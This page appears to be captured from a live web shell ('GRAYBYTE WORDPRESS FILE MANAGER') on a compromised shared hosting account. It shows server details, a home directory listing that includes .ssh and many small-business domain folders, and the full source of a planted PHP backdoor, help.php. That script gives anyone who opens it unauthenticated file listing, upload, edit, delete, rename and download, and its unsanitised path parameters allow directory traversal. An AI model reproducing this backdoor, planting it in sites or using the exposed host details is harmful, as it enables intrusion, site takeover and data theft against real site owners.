GRAYBYTE WORDPRESS FILE MANAGER2358

Server IP : 162.254.39.133 / Your IP : 216.73.216.219
System : Linux premium287.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
PHP Version : 8.1.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/aircyqqr/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/aircyqqr//help.php
<?php
// Set directory root menjadi public_html
$root_dir = realpath(__DIR__);  // Ini mengatur root menjadi folder di mana file PHP ini disimpan
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir;

// Periksa jika direktori yang diminta valid dan dapat diakses
if (!$current_dir || !is_dir($current_dir)) {
    $current_dir = $root_dir; // Jika direktori tidak valid, kembali ke root_dir
}

// Fungsi untuk menampilkan list file & folder, dengan folder di atas dan file di bawah
function listDirectory($dir)
{
    $files = scandir($dir);

    // Array untuk menyimpan folder dan file terpisah
    $directories = [];
    $regular_files = [];

    // Pisahkan folder dan file ke dalam array yang berbeda
    foreach ($files as $file) {
        if ($file != "." && $file != "..") {
            if (is_dir($dir . '/' . $file)) {
                $directories[] = $file;  // Masukkan ke array folder
            } else {
                $regular_files[] = $file; // Masukkan ke array file biasa
            }
        }
    }

    // Tampilkan folder di atas
    foreach ($directories as $directory) {
        echo '<tr>';
        echo '<td><a href="?dir=' . urlencode($dir . '/' . $directory) . '">📁 ' . $directory . '</a></td>';
        echo '<td>Folder</td>';
        echo '<td>
            <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($directory) . '">Edit</a> |
            <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($directory) . '">Delete</a> |
            <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($directory) . '">Rename</a> |
            <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($directory) . '">Download</a>
        </td>';
        echo '</tr>';
    }

    // Tampilkan file di bawah
    foreach ($regular_files as $file) {
        echo '<tr>';
        echo '<td>' . $file . '</td>';
        echo '<td>' . filesize($dir . '/' . $file) . ' bytes</td>';
        echo '<td>
            <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($file) . '">Edit</a> |
            <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($file) . '">Delete</a> |
            <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($file) . '">Rename</a> |
            <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($file) . '">Download</a>
        </td>';
        echo '</tr>';
    }
}

// Fungsi untuk menghapus file
if (isset($_GET['delete'])) {
    $file_to_delete = $current_dir . '/' . $_GET['delete'];
    if (is_file($file_to_delete)) {
        unlink($file_to_delete);
    }
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk download file
if (isset($_GET['download'])) {
    $file_to_download = $current_dir . '/' . $_GET['download'];
    if (is_file($file_to_download)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
        header('Content-Length: ' . filesize($file_to_download));
        readfile($file_to_download);
        exit;
    }
}

// Fungsi untuk rename file
if (isset($_POST['rename_file'])) {
    $old_name = $current_dir . '/' . $_POST['old_name'];
    $new_name = $current_dir . '/' . $_POST['new_name'];
    rename($old_name, $new_name);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk upload file
if (isset($_POST['upload'])) {
    $target_file = $current_dir . '/' . basename($_FILES["file"]["name"]);
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk mengedit file
if (isset($_POST['save_file'])) {
    $file_to_edit = $current_dir . '/' . $_POST['file_name'];
    $new_content = $_POST['file_content'];
    file_put_contents($file_to_edit, $new_content);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk membuat file baru
if (isset($_POST['create_file'])) {
    $new_file_name = $_POST['new_file_name'];
    $new_file_path = $current_dir . '/' . $new_file_name;
    // Buat file baru dengan konten kosong
    file_put_contents($new_file_path, "");
    header("Location: ?dir=" . urlencode($_GET['dir']));
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>TripleDNN</title>
    <style>
        /* Styling dengan tema gelap (latar belakang hitam dan teks terang) */
        body {
            background-color: #121212;
            color: #E0E0E0;
            font-family: Arial, sans-serif;
        }
        h2 {
            color: #BB86FC;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 10px;
            text-align: left;
        }
        th {
            background-color: #333;
            color: #BB86FC;
        }
        tr:nth-child(even) {
            background-color: #222;
        }
        tr:nth-child(odd) {
            background-color: #121212;
        }
        a {
            color: #03DAC6;
            text-decoration: none;
        }
        a:hover {
            color: #BB86FC;
        }
        button {
            background-color: #03DAC6;
            color: #121212;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
        }
        button:hover {
            background-color: #BB86FC;
        }
        textarea {
            width: 100%;
            height: 400px;
            background-color: #222;
            color: #E0E0E0;
            border: 1px solid #BB86FC;
        }
        input[type="file"], input[type="text"] {
            color: #E0E0E0;
            background-color: #222;
            border: 1px solid #BB86FC;
            padding: 10px;
        }
        .form-container {
            display: flex;
            justify-content: space-between;
            margin-bottom: 20px;
        }
        .form-container form {
            margin-right: 10px;
        }
    </style>
</head>
<body>
    <p>Current Directory: <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" style="color: #03DAC6;"><?php echo $current_dir; ?></a></p>
    
    <div class="form-container">
        <!-- Form untuk upload file -->
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="file">
            <button type="submit" name="upload">Upload</button>
        </form>

        <!-- Form untuk membuat file baru -->
        <form method="post">
            <input type="text" name="new_file_name" placeholder="New file name" required>
            <button type="submit" name="create_file">Create File</button>
        </form>
    </div>

    <table border="1">
        <thead>
            <tr>
                <th>File Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
            <?php listDirectory($current_dir); ?>
        </tbody>
    </table>

    <!-- Form untuk rename file -->
    <?php if (isset($_GET['rename'])): ?>
    <form method="post">
        <input type="hidden" name="old_name" value="<?php echo $_GET['rename']; ?>">
        <input type="text" name="new_name" placeholder="New name" style="width: 100%; padding: 10px;">
        <button type="submit" name="rename_file">Rename</button>
    </form>
    <?php endif; ?>

    <!-- Form untuk mengedit file -->
    <?php
    if (isset($_GET['edit'])):
        $file_to_edit = $current_dir . '/' . $_GET['edit'];
        if (is_file($file_to_edit)) {
            $file_content = file_get_contents($file_to_edit);
            ?>
            <form method="post">
                <input type="hidden" name="file_name" value="<?php echo $_GET['edit']; ?>">
                <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea>
                <br>
                <button type="submit" name="save_file">Save Changes</button>
            </form>
        <?php }
    endif; ?>
</body>
</html>

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 19 2025 14:48:58
root / nobody
0755
.cagefs
--
November 06 2025 23:01:55
aircyqqr / aircyqqr
0771
.caldav
--
November 06 2025 23:01:55
aircyqqr / aircyqqr
0711
.cl.selector
--
November 27 2025 11:31:35
aircyqqr / aircyqqr
0755
.config
--
November 12 2025 07:46:31
aircyqqr / aircyqqr
0700
.cpanel
--
November 30 2025 12:02:47
aircyqqr / aircyqqr
0700
.htpasswds
--
November 06 2025 23:01:54
aircyqqr / nobody
0750
.nc_plugin
--
July 19 2025 14:46:24
root / root
0711
.spamassassin
--
November 06 2025 23:01:56
aircyqqr / aircyqqr
0755
.ssh
--
November 17 2025 06:51:51
aircyqqr / aircyqqr
0755
.trash
--
November 30 2025 11:35:18
aircyqqr / aircyqqr
0700
airglowductscleaning.com
--
November 24 2025 13:26:05
aircyqqr / nobody
0750
airpureductscleaningsolutions.com
--
November 21 2025 18:55:29
aircyqqr / nobody
0750
backup-wp
--
October 30 2025 05:51:07
aircyqqr / aircyqqr
0755
backup-zip
--
October 30 2025 05:51:07
aircyqqr / aircyqqr
0755
blueskyairductcleaning.com
--
November 29 2025 03:37:10
aircyqqr / nobody
0750
breezeproairductscleaning.com
--
November 30 2025 02:31:04
aircyqqr / nobody
0750
brightsweepchimneyservices.com
--
November 27 2025 07:08:31
aircyqqr / nobody
0555
clearviewchimneysweep.com
--
November 30 2025 02:30:55
aircyqqr / nobody
0750
crystalclearairductscleaning.com
--
November 30 2025 10:13:29
aircyqqr / nobody
0555
datastore
--
October 30 2025 05:51:07
aircyqqr / aircyqqr
0755
etc
--
November 06 2025 23:01:55
aircyqqr / mail
0755
flameguardchimney.com
--
November 30 2025 02:31:20
aircyqqr / nobody
0750
freshairproductcleaning.com
--
November 30 2025 02:31:19
aircyqqr / nobody
0750
freshwaveairductscleaning.com
--
November 30 2025 02:31:12
aircyqqr / nobody
0750
logs
--
November 14 2025 12:40:00
aircyqqr / aircyqqr
0755
lscache
--
November 06 2025 23:01:56
nobody / aircyqqr
2770
mail
--
November 30 2025 14:02:28
aircyqqr / aircyqqr
0755
optiairductscleaningexperts.com
--
November 25 2025 20:20:35
aircyqqr / nobody
0750
public_ftp
--
November 06 2025 23:01:56
aircyqqr / aircyqqr
0755
public_html
--
November 29 2025 14:46:23
aircyqqr / nobody
0750
pureflowairductscleaning.com
--
November 29 2025 17:40:21
aircyqqr / nobody
0750
softaculous_backups
--
November 06 2025 23:01:55
aircyqqr / aircyqqr
0711
ssl
--
November 06 2025 23:01:55
aircyqqr / aircyqqr
0755
tmp
--
November 20 2025 16:26:35
aircyqqr / aircyqqr
0755
ultracleanairductcleaning.com
--
November 29 2025 14:46:35
aircyqqr / nobody
0750
wp-back
--
October 30 2025 05:51:07
aircyqqr / aircyqqr
0755
wp-includes
--
November 06 2025 23:01:55
aircyqqr / aircyqqr
0755
www
--
November 29 2025 14:46:23
aircyqqr / nobody
0750
.bash_history
11.962 KB
October 20 2025 10:19:21
aircyqqr / aircyqqr
0600
.bashrc
5.997 KB
November 14 2025 08:15:28
aircyqqr / aircyqqr
0644
.ftpquota
0.018 KB
November 28 2025 11:35:39
aircyqqr / aircyqqr
0600
.imunify_patch_id
0.104 KB
September 28 2025 06:00:39
aircyqqr / aircyqqr
0660
.last.inodes
14.155 KB
November 30 2025 11:19:28
root / root
0644
.myimunify_id
0.1 KB
September 28 2025 06:00:22
aircyqqr / aircyqqr
0660
.profile
0.407 KB
November 12 2025 07:46:31
aircyqqr / aircyqqr
0600
.wget-hsts
0.176 KB
October 25 2025 06:54:34
aircyqqr / aircyqqr
0644
admin.php
74.614 KB
November 06 2025 23:01:26
aircyqqr / aircyqqr
0644
help.php
8.092 KB
November 17 2025 11:02:18
aircyqqr / aircyqqr
0644
scan_report-2025-07-24_17-04
5.012 KB
July 24 2025 15:29:57
root / root
0644
scan_report_2025-07-31.txt
7.99 KB
July 31 2025 23:02:03
aircyqqr / aircyqqr
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF